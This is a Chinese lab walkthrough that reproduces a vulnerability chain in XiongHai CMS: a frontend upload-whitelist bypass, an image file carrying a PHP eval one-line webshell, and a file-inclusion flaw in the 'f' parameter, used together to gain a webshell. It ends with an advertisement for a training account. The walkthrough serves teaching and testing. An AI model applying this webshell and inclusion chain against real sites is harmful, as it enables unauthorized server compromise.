【渗透测试】熊海CMS文件上传漏洞复现,白盒测试一文通透
一、前言
本文复现的漏洞是:文件包含漏洞。测试的方法是白盒测试已经知道了源码相关的信息,和后台的账号密码
这类漏洞在中小型CMS中常见,非常适合渗透测试初学者来学习
学会它,你不仅能掌握一种常见的GetShell方式,更能提升在真实环境中提升漏洞发现的能力。
二、环境准备
1、靶场搭建
文末获取源码下载链接,下载源码后通过小皮面板安装
**💖 温馨提示:**如果不会通过小皮面板搭建靶场的,戳这里-----》》》》往期文章地址
通过小皮面板安装成功靶场的源码后,我们打开127.0.0.1这个ip地址,会自动跳转到安装界面,需要你配置好系统的管理员账号密码数据库配置等等信息
全部填好后需要点击确认正确并提交

这样会跳转到数据库创建成功的页面

1、发现文件包含漏洞
来到首页(注意:这里我修改了一下网站的绝对路径,不是127.0.0.1/xhcms了),修改时间区域,会发现f参数会变,猜测这里有一个文件包含漏洞
**💖 温馨提示:**这个漏洞只会出现在火狐浏览器,用微软浏览器和谷歌浏览器都复现不了,作者亲测

2、验证漏洞
我们将这段代码,写入到一个demo.php文件中
<?php phpinfo();?>
phpinfo() 是 PHP 内置函数,用于输出当前 PHP 环境的详细配置信息(版本、扩展、服务器参数等),是调试环境的重要工具

尝试包含这个demo.php,发现页面出现了一个"phpinfo()",看来是存在这个文件包含漏洞的

使用你填写的管理员账号密码登录后台界面

3、上传漏洞利用
我们来到设置》图片设置》上传一个包含一句话木马的php文件shell_one_cmd.php
<?php @eval($_POST['shell']);?>

这里发现了一个前端的白名单验证,不允许我们上传这个php文件
白名单验证:

4、绕过上传验证
那么有什么绕过方式呢,我们客户以改文件后缀为jpg绕过前端验证,将马重命名为abc1.jpg这个图片中包含了如下内容
<?php @eval($_POST['shell']); ?>

注意勾选水印和缩略图,如果不勾选,可能会导致蚁剑连不上

抓到包后,修改后缀为php文件

点击发送php后缀的包,还是提示图片类型错误,绕过失败

5、上传图片马
那么只能修改为jpg,内容还是上面的一句话木马,上传成功,并获得路径
**💖 温馨提示:**这里我们就不能直接通过修改后缀为php文件的形式直接通过蚁剑连接webshell了

访问图片马路径,可以正常访问

6、文件包含漏洞包含图片马
利用刚刚的文件包含漏洞,包含那个图片,虽然页面没有像phpinfo那样的明显的成功包含提示,但是这里还是成功了的
http://10.10.10.152/?f=图片马路径

7、获取webshell
尝试连接,验证是否成功包含,密码为php代码中的那个shell参数

打开终端

执行命令

8、另一种上传图片的方法
同样的这里也有一个漏洞,可以上传图片,获取图片路径,然后通过文件包含漏洞,获取webshell

发送数据包后,取消拦截

再次连接webshell,也是成功

三、实战总结
这个漏洞链的关键在于:
- 前端验证可绕过:前端白名单仅防君子不防黑客。
- 文件包含是突破口:允许将图片马当作PHP执行。
- 组合利用才是王道:单一漏洞可能无法GetShell,但组合起来就是致命攻击链。
掌握此类漏洞,你将能够:
- 在CTF或靶场中快速拿下Flag
- 在渗透测试中发现老旧CMS的常见弱点
- 提升“漏洞串联”的实战思维,不再孤立看待每个漏洞
四、🎯 网络安全学习资源推荐
觉得文章对你有帮助?想获取更多实战干货?
我们为你准备了一套 「从零到一的网络安全学习资料包」,包括:
- 🔥 红队攻防实战手册 - 内网渗透、漏洞利用、权限提升
- 📚 网络安全学习路线图 - 零基础入门到就业完整路径
- 💼 最新网络安全面试题 - 大厂真题+面试技巧
- 🛠️ 渗透测试工具包 - 常用工具+使用教程
- 🎯 靶场搭建全套方案 - DVWA、SQLi-Labs等实战环境
如何获取?
- 微信搜索公众号:
[智榜样网络安全学习中心] - 关注后回复关键词:「资料领取」
- 即可免费领取全套学习资料
💡 适合人群:网络安全初学者、转行人员、在校学生、想要提升实战能力的从业者
我们在网络安全培训领域深耕多年,专注红蓝对抗实战与就业指导,帮助数百名学员成功入行!

更多推荐
所有评论(0)